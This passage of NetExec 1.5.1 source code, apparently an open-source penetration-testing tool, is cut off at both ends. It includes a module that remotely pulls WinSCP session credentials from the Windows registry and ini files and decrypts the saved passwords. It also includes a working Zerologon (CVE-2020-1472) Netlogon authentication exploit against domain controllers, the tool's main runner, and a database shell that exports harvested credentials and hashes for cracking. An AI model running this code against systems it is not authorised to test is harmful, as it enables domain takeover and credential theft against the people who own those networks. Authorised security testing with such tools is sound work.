r""" PATH Specify the Path if you already found a WinSCP.ini file. (Example: PATH="C:\\Users\\USERNAME\\Documents\\WinSCP_Passwords\\WinSCP.ini") REQUIRES ADMIN PRIVILEGES: As Default the script looks into the registry and searches for WinSCP.ini files in \"C:\\Users\\{USERNAME}\\Documents\\WinSCP.ini\" and in \"C:\\Users\\{USERNAME}\\AppData\\Roaming\\WinSCP.ini\", for every user found on the System. """ self.filepath = module_options.get("PATH", "") self.PW_MAGIC = 0xA3 self.PW_FLAG = 0xFF self.share = "C$" self.userDict = {} # ==================== Helper ==================== def print_creds(self, context, session): if isinstance(session, str): context.log.fail(session) else: context.log.highlight(f"======={session[0]}=======") context.log.highlight(f"HostName: {session[1]}") context.log.highlight(f"UserName: {session[2]}") context.log.highlight(f"Password: {session[3]}") def user_object_to_name_mapper(self, context, connection, all_user_objects): try: remote_ops = RemoteOperations(connection.conn, connection.kerberos) remote_ops.enableRegistry() reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"] for user_object in all_user_objects: key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"] user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0] rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) self.userDict[user_object] = user_profile_path.split("\\")[-1] finally: remote_ops.finish() # ==================== Decrypt Password ==================== def decrypt_passwd(self, host: str, username: str, password: str) -> str: key = username + host # transform password to bytes pass_bytes = [] for i in range(len(password)): val = int(password[i], 16) pass_bytes.append(val) pw_flag, pass_bytes = self.dec_next_char(pass_bytes) pw_length = 0 # extract password length and trim the passbytes if pw_flag == self.PW_FLAG: _, pass_bytes = self.dec_next_char(pass_bytes) pw_length, pass_bytes = self.dec_next_char(pass_bytes) else: pw_length = pw_flag to_be_deleted, pass_bytes = self.dec_next_char(pass_bytes) pass_bytes = pass_bytes[to_be_deleted * 2:] # decrypt the password clearpass = "" for _i in range(pw_length): val, pass_bytes = self.dec_next_char(pass_bytes) clearpass += chr(val) if pw_flag == self.PW_FLAG: clearpass = clearpass[len(key):] return clearpass def dec_next_char(self, pass_bytes) -> tuple[int, bytes]: """ Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes. Parameters ---------- pass_bytes : bytes The password bytes """ if not pass_bytes: return 0, pass_bytes a = pass_bytes[0] b = pass_bytes[1] pass_bytes = pass_bytes[2:] return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes # ==================== Handle Registry ==================== def registry_session_extractor(self, context, connection, user_object, sessionName): """Extract Session information from registry""" try: remote_ops = RemoteOperations(connection.conn, connection.kerberos) remote_ops.enableRegistry() reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"] host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]) user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0] try: password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "Password")[1].split("\x00")[:-1][0] except Exception: context.log.debug("Session found but no Password is stored!") password = "" rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) dec_password = self.decrypt_passwd(host_name, user_name, password) if password else "NO_PASSWORD_FOUND" section_name = unquote(sessionName) return [section_name, host_name, user_name, dec_password] except Exception as e: context.log.fail(f"Error in Session Extraction: {e}") context.log.debug(traceback.format_exc()) finally: remote_ops.finish() return "ERROR IN SESSION EXTRACTION" def find_all_logged_in_users_in_registry(self, context, connection): """Checks whether User already exist in registry and therefore are logged in""" user_objects = [] try: remote_ops = RemoteOperations(connection.conn, connection.kerberos) remote_ops.enableRegistry() # Enumerate all logged in and loaded Users on System reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"] users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"] # Get User Names user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)] rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) # Filter legit users in regex user_names.remove(".DEFAULT") regex = re.compile(r"^.*_Classes$") user_objects = [i for i in user_names if not regex.match(i)] except Exception as e: context.log.fail(f"Error handling Users in registry: {e}") context.log.debug(traceback.format_exc()) finally: remote_ops.finish() return user_objects def find_all_users(self, context, connection): """Find all User on the System in HKEY_LOCAL_MACHINE""" user_objects = [] try: remote_ops = RemoteOperations(connection.conn, connection.kerberos) remote_ops.enableRegistry() # Enumerate all Users on System reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"] users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"] # Get User Names user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)] rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) except Exception as e: context.log.fail(f"Error handling Users in registry: {e}") context.log.debug(traceback.format_exc()) finally: remote_ops.finish() return user_objects def load_missing_users(self, context, connection, unloaded_user_objects): """Extract Information for not logged in Users and then loads them into registry.""" try: remote_ops = RemoteOperations(connection.conn, connection.kerberos) remote_ops.enableRegistry() for user_object in unloaded_user_objects: # Extract profile Path of NTUSER.DAT reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"] user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0] rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) # Load Profile reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"] context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}") rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT") rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) finally: remote_ops.finish() def unload_missing_users(self, context, connection, unloaded_user_objects): """If some user were not logged in at the beginning we unload them from registry.""" try: remote_ops = RemoteOperations(connection.conn, connection.kerberos) remote_ops.enableRegistry() # Unload Profile reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"] for user_object in unloaded_user_objects: context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object) try: rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object) except Exception as e: context.log.fail(f"Error unloading user {user_object} in registry: {e}") context.log.debug(traceback.format_exc()) rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) finally: remote_ops.finish() def check_masterpassword_set(self, context, connection, user_object): use_master_password = False try: remote_ops = RemoteOperations(connection.conn, connection.kerberos) remote_ops.enableRegistry() reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"] use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1] rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.debug("Security configuration registry not found, no master passwords set at all.") else: context.log.exception(e) finally: remote_ops.finish() return use_master_password def registry_discover(self, context, connection): context.log.display("Looking for WinSCP creds in Registry...") try: remote_ops = RemoteOperations(connection.conn, connection.kerberos) remote_ops.enableRegistry() # Enumerate all Users on System user_objects = self.find_all_logged_in_users_in_registry(context, connection) all_user_objects = self.find_all_users(context, connection) self.user_object_to_name_mapper(context, connection, all_user_objects) # Users which must be loaded into registry: unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects))) self.load_missing_users(context, connection, unloaded_user_objects) # Retrieve how many sessions are stored in registry from each user_object ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) reg_handle = ans["phKey"] for user_object in all_user_objects: try: key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"] sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"] context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!') # Get Session Names session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)] rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) session_names.remove("Default%20Settings") if self.check_masterpassword_set(context, connection, user_object): context.log.fail("MasterPassword set! Aborting extraction...") continue # Extract stored Session infos for sessionName in session_names: self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName)) except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.debug(f"No WinSCP config found in registry for user {user_object}") except Exception as e: context.log.fail(f"Unexpected error: {e}") context.log.debug(traceback.format_exc()) self.unload_missing_users(context, connection, unloaded_user_objects) except DCERPCException as e: # Error during registry query if str(e).find("rpc_s_access_denied"): context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.") except Exception as e: context.log.fail(f"UNEXPECTED ERROR: {e}") context.log.debug(traceback.format_exc()) finally: try: remote_ops.finish() except rrp.DCERPCSessionError as e: # Likely can't stop rrp due to other services dependending on it context.log.debug(f"Error finishing remote operations: {e}") # ==================== Handle Configs ==================== def decode_config_file(self, context, confFile): config = configparser.RawConfigParser(strict=False) config.read_string(confFile) # Stop extracting creds if Master Password is set if int(config.get("Configuration\\Security", "UseMasterPassword")) == 1: context.log.fail("Master Password Set, unable to recover saved passwords!") return for section in config.sections(): if config.has_option(section, "HostName"): host_name = unquote(config.get(section, "HostName")) user_name = config.get(section, "UserName") if config.has_option(section, "Password"): enc_password = config.get(section, "Password") dec_password = self.decrypt_passwd(host_name, user_name, enc_password) else: dec_password = "NO_PASSWORD_FOUND" section_name = unquote(section) self.print_creds(context, [section_name, host_name, user_name, dec_password]) def get_config_file(self, context, connection): if self.filepath: self.share = self.filepath.split(":")[0] + "$" path = self.filepath.split(":")[1] try: buf = BytesIO() connection.conn.getFile(self.share, path, buf.write) conf_file = buf.getvalue().decode() context.log.success("Found config file! Extracting credentials...") self.decode_config_file(context, conf_file) except Exception as e: context.log.fail(f"Error! No config file found at {self.filepath}: {e}") context.log.debug(traceback.format_exc()) else: context.log.display("Looking for WinSCP creds in User documents and AppData...") users = [] out = connection.conn.listPath(self.share, "\\Users\\*") for obj in out: if obj.get_longname() in [".", ".."] or not obj.is_directory(): continue else: users.append(obj.get_longname()) # Iterate over found users and default paths to look for WinSCP.ini files for user in users: paths = [ (f"\\Users\\{user}\\Documents\\WinSCP.ini"), (f"\\Users\\{user}\\AppData\\Roaming\\WinSCP.ini"), ] for path in paths: conf_file = "" try: buf = BytesIO() connection.conn.getFile(self.share, path, buf.write) conf_file = buf.getvalue().decode() context.log.success(f"Found config file at '{self.share + path}'! Extracting credentials...") except SessionError as e: context.log.debug(f"No config file found at '{self.share + path}': {e}") except Exception as e: context.log.fail(f"Error getting config file at '{self.share + path}': {e}") context.log.debug(traceback.format_exc()) else: self.decode_config_file(context, conf_file) def on_admin_login(self, context, connection): if not self.filepath: self.registry_discover(context, connection) self.get_config_file(context, connection) NetExec-1.5.1/nxc/modules/zerologon.py000066400000000000000000000102471514706431700177150ustar00rootroot00000000000000# everything is comming from https://github.com/dirkjanm/CVE-2020-1472 # credit to @dirkjanm # module by : @mpgn_x64 from impacket.dcerpc.v5 import nrpc, epm, transport from impacket.dcerpc.v5.rpcrt import DCERPCException import sys from nxc.helpers.misc import CATEGORY from nxc.logger import nxc_logger # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average. MAX_ATTEMPTS = 2000 # False negative chance: 0.04% class NXCModule: name = "zerologon" description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472" supported_protocols = ["smb", "wmi"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): """""" def on_login(self, context, connection): self.context = context if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host): self.context.log.highlight("VULNERABLE") self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472") try: host = self.context.db.get_hosts(connection.host)[0] self.context.db.add_host( host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, zerologon=True, ) except Exception: self.context.log.debug("Error updating zerologon status in database") def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost): # Keep authenticating until successful. Expected average number of attempts needed: 256. self.context.log.debug("Performing authentication attempts...") rpc_con = None try: binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip)) rpc_con_.setRemoteHost(remoteHost) rpc_con = rpc_con_.get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) for _attempt in range(MAX_ATTEMPTS): result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer) if result: return True else: self.context.log.highlight("Attack failed. Target is probably patched.") except DCERPCException: self.context.log.fail("Error while connecting to host: DCERPCException, which means this is probably not a DC!") def fail(msg): nxc_logger.debug(msg) nxc_logger.fail("This might have been caused by invalid arguments or network issues.") sys.exit(2) def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. # Use an all-zero challenge and credential. plaintext = b"\x00" * 8 ciphertext = b"\x00" * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212FFFFF # Send challenge and authentication request. nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + "\x00", target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + "\x00", ciphertext, flags, ) # It worked! assert server_auth["ErrorCode"] == 0 return True except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xC0000022: return None else: fail(f"Unexpected error code from DC: {ex.get_error_code()}.") except BaseException as ex: fail(f"Unexpected error: {ex}.") NetExec-1.5.1/nxc/netexec.py000077500000000000000000000222421514706431700156630ustar00rootroot00000000000000# PYTHON_ARGCOMPLETE_OK import sys from nxc.helpers.logger import highlight from nxc.helpers.misc import identify_target_file, display_modules from nxc.parsers.ip import parse_targets from nxc.parsers.nmap import parse_nmap_xml from nxc.parsers.nessus import parse_nessus_file from nxc.cli import gen_cli_args from nxc.loaders.protocolloader import ProtocolLoader from nxc.loaders.moduleloader import ModuleLoader from nxc.first_run import first_run_setup from nxc.paths import NXC_PATH, WORKSPACE_DIR from nxc.console import nxc_console from nxc.logger import nxc_logger from nxc.config import nxc_config, nxc_workspace, config_log from nxc.database import create_db_engine from concurrent.futures import ThreadPoolExecutor, as_completed import asyncio from nxc.helpers import powershell import shutil import os from os.path import exists from os.path import join as path_join from sys import exit from rich.progress import Progress import platform if sys.stdout.encoding == "cp1252": sys.stdout.reconfigure(encoding="utf-8") # Increase file_limit to prevent error "Too many open files" if platform.system() != "Windows": import resource file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE)) if file_limit[1] > 10000: file_limit[0] = 10000 else: file_limit[0] = file_limit[1] file_limit = tuple(file_limit) resource.setrlimit(resource.RLIMIT_NOFILE, file_limit) async def start_run(protocol_obj, args, db, targets): # noqa: RUF029 futures = [] nxc_logger.debug("Creating ThreadPoolExecutor") if args.no_progress or len(targets) == 1: with ThreadPoolExecutor(max_workers=args.threads) as executor: nxc_logger.debug(f"Creating thread for {protocol_obj}") futures = [executor.submit(protocol_obj, args, db, target) for target in targets] else: with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads) as executor: current = 0 total = len(targets) tasks = progress.add_task( f"[green]Running nxc against {total} {'target' if total == 1 else 'targets'}", total=total, ) nxc_logger.debug(f"Creating thread for {protocol_obj}") futures = [executor.submit(protocol_obj, args, db, target) for target in targets] for _ in as_completed(futures): current += 1 # noqa: SIM113 progress.update(tasks, completed=current) for future in as_completed(futures): try: future.result() except Exception: nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}") def main(): first_run_setup(nxc_logger) args, version_info = gen_cli_args() # if these are the same, it might double log to file (two FileHandlers will be added) # but this should never happen by accident if config_log: nxc_logger.add_file_log() if hasattr(args, "log") and args.log: nxc_logger.add_file_log(args.log) CODENAME, VERSION, COMMIT, DISTANCE = version_info nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}") nxc_logger.debug(f"PYTHON VERSION: {sys.version}") nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}") nxc_logger.debug(f"Passed args: {args}") # FROM HERE ON A PROTOCOL IS REQUIRED if not args.protocol: exit(1) if args.protocol == "ssh" and args.key_file and not args.password: nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`") exit(1) if args.use_kcache and not os.environ.get("KRB5CCNAME"): nxc_logger.error("KRB5CCNAME environment variable is not set") exit(1) targets = [] if hasattr(args, "cred_id") and args.cred_id: for cred_id in args.cred_id: if "-" in str(cred_id): start_id, end_id = cred_id.split("-") try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) # noqa: B909 args.cred_id.remove(cred_id) # noqa: B909 except Exception as e: nxc_logger.error(f"Error parsing database credential id: {e}") exit(1) if hasattr(args, "target") and args.target: for target in args.target: try: if exists(target) and os.path.isfile(target): target_file_type = identify_target_file(target) if target_file_type == "nmap": targets.extend(parse_nmap_xml(target, args.protocol)) elif target_file_type == "nessus": targets.extend(parse_nessus_file(target, args.protocol)) else: with open(target) as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry.strip())) else: targets.extend(parse_targets(target)) except Exception as e: nxc_logger.fail(f"Failed to parse target '{target}': {e}") # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky if hasattr(args, "clear_obfscripts") and args.clear_obfscripts: obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts") shutil.rmtree(obfuscated_dir) os.mkdir(obfuscated_dir) nxc_logger.success("Cleared cached obfuscated PowerShell scripts") if hasattr(args, "obfs") and args.obfs: powershell.obfuscate_ps_scripts = True nxc_logger.debug(f"Protocol: {args.protocol}") p_loader = ProtocolLoader() protocol_path = p_loader.get_protocols()[args.protocol]["path"] nxc_logger.debug(f"Protocol Path: {protocol_path}") protocol_db_path = p_loader.get_protocols()[args.protocol]["dbpath"] nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}") protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol) nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}") protocol_db_object = p_loader.load_protocol(protocol_db_path).database nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}") db_path = path_join(WORKSPACE_DIR, nxc_workspace, f"{args.protocol}.db") nxc_logger.debug(f"DB Path: {db_path}") db_engine = create_db_engine(db_path) db = protocol_db_object(db_engine) # with the new nxc/config.py this can be eventually removed, as it can be imported anywhere protocol_object.config = nxc_config if args.module or args.list_modules is not None: loader = ModuleLoader(args, db, nxc_logger) modules = loader.list_modules() if args.list_modules is not None: low_privilege_modules = {m: props for m, props in modules.items() if args.protocol in props["supported_protocols"] and not props["requires_admin"]} high_privilege_modules = {m: props for m, props in modules.items() if args.protocol in props["supported_protocols"] and props["requires_admin"]} # List low privilege modules nxc_logger.highlight("LOW PRIVILEGE MODULES") display_modules(args, low_privilege_modules) # List high privilege modules nxc_logger.highlight("\nHIGH PRIVILEGE MODULES (requires admin privs)") display_modules(args, high_privilege_modules) exit(0) elif args.module and args.show_module_options: for module in args.module: nxc_logger.display(f"{module} module options:\n{modules[module]['options']}") exit(0) elif args.show_module_options: nxc_logger.error("--options requires -M/--module") exit(1) elif args.module: # Check the modules for sanity before loading the protocol nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}") proto_module_paths = [] for m in args.module: if m not in modules: nxc_logger.error(f"Module not found: {m}") exit(1) nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}") module = loader.init_module(modules[m]["path"]) # Add modules paths to the protocol object so it can load them itself proto_module_paths.append(modules[m]["path"]) protocol_object.module_paths = proto_module_paths if args.protocol == "rdp" and args.execute: ans = input(highlight("[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] ", "red")) if ans.lower() not in ["y", "yes", ""]: exit(1) if args.jitter and len(targets) > 1: nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red")) try: asyncio.run(start_run(protocol_object, args, db, targets)) except KeyboardInterrupt: nxc_logger.debug("Got keyboard interrupt") finally: db_engine.dispose() if __name__ == "__main__": main() NetExec-1.5.1/nxc/nxcdb.py000066400000000000000000000503721514706431700153300ustar00rootroot00000000000000import cmd import csv import sys import os import argparse from os import listdir from os.path import exists from os.path import join as path_join from textwrap import dedent from requests import get, post, ConnectionError from terminaltables import AsciiTable from termcolor import colored from nxc.loaders.protocolloader import ProtocolLoader from nxc.paths import CONFIG_PATH, WORKSPACE_DIR from nxc.database import create_db_engine, open_config, get_workspace, get_db, write_configfile, create_workspace, set_workspace class UserExitedProto(Exception): pass def print_table(data, title=None): print() table = AsciiTable(data) if title: table.title = title print(table.table) print() def write_csv(filename, headers, entries): """Writes a CSV file with the provided parameters.""" with open(os.path.expanduser(filename), "w") as export_file: csv_file = csv.writer( export_file, delimiter=";", quoting=csv.QUOTE_ALL, lineterminator="\n", escapechar="\\", ) csv_file.writerow(headers) for entry in entries: csv_file.writerow(entry) def write_list(filename, entries): """Writes a file with a simple list""" with open(os.path.expanduser(filename), "w") as export_file: export_file.writelines(line + "\n" for line in entries) def complete_import(text, line): """Tab-complete 'import' commands""" commands = ("empire", "metasploit") mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] def complete_export(text, line): """Tab-complete 'creds' commands.""" commands = ( "creds", "plaintext", "hashes", "shares", "local_admins", "signing", "keys", ) mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] def print_help(help_string): print(dedent(help_string)) class DatabaseNavigator(cmd.Cmd): def __init__(self, main_menu, database, proto): cmd.Cmd.__init__(self) self.main_menu = main_menu self.config = main_menu.config self.proto = proto self.db = database self.prompt = f"nxcdb ({main_menu.workspace})({proto}) > " def do_exit(self, line): self.db.shutdown_db() sys.exit() @staticmethod def help_exit(): help_string = """ Exits """ print_help(help_string) def do_back(self, line): raise UserExitedProto def do_export(self, line): if not line: print("[-] not enough arguments") return line = line.split() command = line[0].lower() # Need to use if/elif/else to keep compatibility with py3.8/3.9 # Reference DB Function nxc/protocols/smb/database.py # Users if command == "creds": if len(line) < 3: print("[-] invalid arguments, export creds ") return filename = line[2] creds = self.db.get_credentials() csv_header = ( "id", "domain", "username", "password", "credtype", "pillaged_from", ) if line[1].lower() == "simple": write_csv(filename, csv_header, creds) elif line[1].lower() == "detailed": formatted_creds = [] for cred in creds: entry = [ cred[0], # ID cred[1], # Domain cred[2], # Username cred[3], # Password/Hash cred[4], # Cred Type ] if cred[5] is None: entry.append("") else: entry.append(self.db.get_hosts(cred[5])[0][2]) formatted_creds.append(entry) write_csv(filename, csv_header, formatted_creds) elif line[1].lower() == "hashcat": usernames = [] passwords = [] for cred in creds: if cred[4] == "hash": usernames.append(cred[2]) passwords.append(cred[3]) output_list = [":".join(combination) for combination in zip(usernames, passwords, strict=True)] write_list(filename, output_list) else: print(f"[-] No such export option: {line[1]}") return print("[+] Creds exported") # Hosts elif command == "hosts": if len(line) < 3: print("[-] invalid arguments, export hosts ") return csv_header_simple = ( "id", "ip", "hostname", "domain", "os", "dc", "smbv1", "signing", ) csv_header_detailed = ( "id", "ip", "hostname", "domain", "os", "dc", "smbv1", "signing", "spooler", "zerologon", "petitpotam", ) filename = line[2] if line[1].lower() == "simple": hosts = self.db.get_hosts() simple_hosts = [host[:8] for host in hosts] write_csv(filename, csv_header_simple, simple_hosts) # TODO: maybe add more detail like who is an admin on it, shares discovered, etc elif line[1].lower() == "detailed": hosts = self.db.get_hosts() write_csv(filename, csv_header_detailed, hosts) elif line[1].lower() == "signing": hosts = self.db.get_hosts("signing") signing_hosts = [host[1] for host in hosts] write_list(filename, signing_hosts) else: print(f"[-] No such export option: {line[1]}") return print("[+] Hosts exported") # Shares elif command == "shares": if len(line) < 3: print("[-] invalid arguments, export shares ") return shares = self.db.get_shares() csv_header = ("id", "host", "userid", "name", "remark", "read", "write") filename = line[2] if line[1].lower() == "simple": write_csv(filename, csv_header, shares) print("[+] shares exported") # Detailed view gets hostname, usernames, and true false statement elif line[1].lower() == "detailed": formatted_shares = [] for share in shares: user = self.db.get_users(share[2])[0] share_host = self.db.get_hosts(share[1])[0][2] if self.db.get_hosts(share[1]) else "ERROR" entry = ( share[0], # shareID share_host, # hosts f"{user[1]}\\{user[2]}", # userID share[3], # name share[4], # remark bool(share[5]), # read bool(share[6]), # write ) formatted_shares.append(entry) write_csv(filename, csv_header, formatted_shares) print("[+] Shares exported") else: print(f"[-] No such export option: {line[1]}") return # Local Admin elif command == "local_admins": if len(line) < 3: print("[-] invalid arguments, export local_admins ") return # These values don't change between simple and detailed local_admins = self.db.get_admin_relations() csv_header = ("id", "userid", "host") filename = line[2] if line[1].lower() == "simple": write_csv(filename, csv_header, local_admins) elif line[1].lower() == "detailed": formatted_local_admins = [] for entry in local_admins: user = self.db.get_users(filter_term=entry[1])[0] formatted_entry = ( entry[0], # Entry ID f"{user[1]}/{user[2]}", # DOMAIN/Username self.db.get_hosts(filter_term=entry[2])[0][2], # Hostname ) # Can't modify a tuple which is what self.db.get_admin_relations() returns formatted_local_admins.append(formatted_entry) write_csv(filename, csv_header, formatted_local_admins) else: print(f"[-] No such export option: {line[1]}") return print("[+] Local Admins exported") elif command == "dpapi": if len(line) < 3: print("[-] invalid arguments, export dpapi ") return # These values don't change between simple and detailed dpapi_secrets = self.db.get_dpapi_secrets() csv_header = ( "id", "host", "dpapi_type", "windows_user", "username", "password", "url", ) filename = line[2] if line[1].lower() == "simple": write_csv(filename, csv_header, dpapi_secrets) elif line[1].lower() == "detailed": formatted_dpapi_secret = [] for entry in dpapi_secrets: formatted_entry = ( entry[0], # Entry ID self.db.get_hosts(filter_term=entry[1])[0][2], # Hostname entry[2], # DPAPI type entry[3], # Windows User entry[4], # Username entry[5], # Password entry[6], # URL ) # Can't modify a tuple which is what self.db.get_admin_relations() returns formatted_dpapi_secret.append(formatted_entry) write_csv(filename, csv_header, formatted_dpapi_secret) else: print(f"[-] No such export option: {line[1]}") return print("[+] DPAPI secrets exported") elif command == "keys": keys = self.db.get_keys() if line[1].lower() == "all" else self.db.get_keys(key_id=int(line[1])) writable_keys = [key[2] for key in keys] filename = line[2] write_list(filename, writable_keys) elif command == "wcc": if len(line) < 3: print("[-] invalid arguments, export wcc ") return csv_header_simple = ( "id", "ip", "hostname", "check", "status", ) csv_header_detailed = ("id", "ip", "hostname", "check", "description", "status", "reasons") filename = line[2] host_mapping = {} check_mapping = {} hosts = self.db.get_hosts() checks = self.db.get_checks() check_results = self.db.get_check_results() rows = [] for result_id, hostid, checkid, secure, reasons in check_results: row = [result_id] if hostid in host_mapping: row.extend(host_mapping[hostid]) else: for host_id, ip, hostname, _, _, _, _, _, _, _, _ in hosts: if host_id == hostid: row.extend([ip, hostname]) host_mapping[hostid] = [ip, hostname] break if checkid in check_mapping: row.extend(check_mapping[checkid]) else: for check in checks: check_id, name, description = check if check_id == checkid: row.extend([name, description]) check_mapping[checkid] = [name, description] break row.extend(("OK" if secure else "KO", reasons)) rows.append(row) if line[1].lower() == "simple": simple_rows = [(row[0], row[1], row[2], row[3], row[5]) for row in rows] write_csv(filename, csv_header_simple, simple_rows) elif line[1].lower() == "detailed": write_csv(filename, csv_header_detailed, rows) elif line[1].lower() == "signing": hosts = 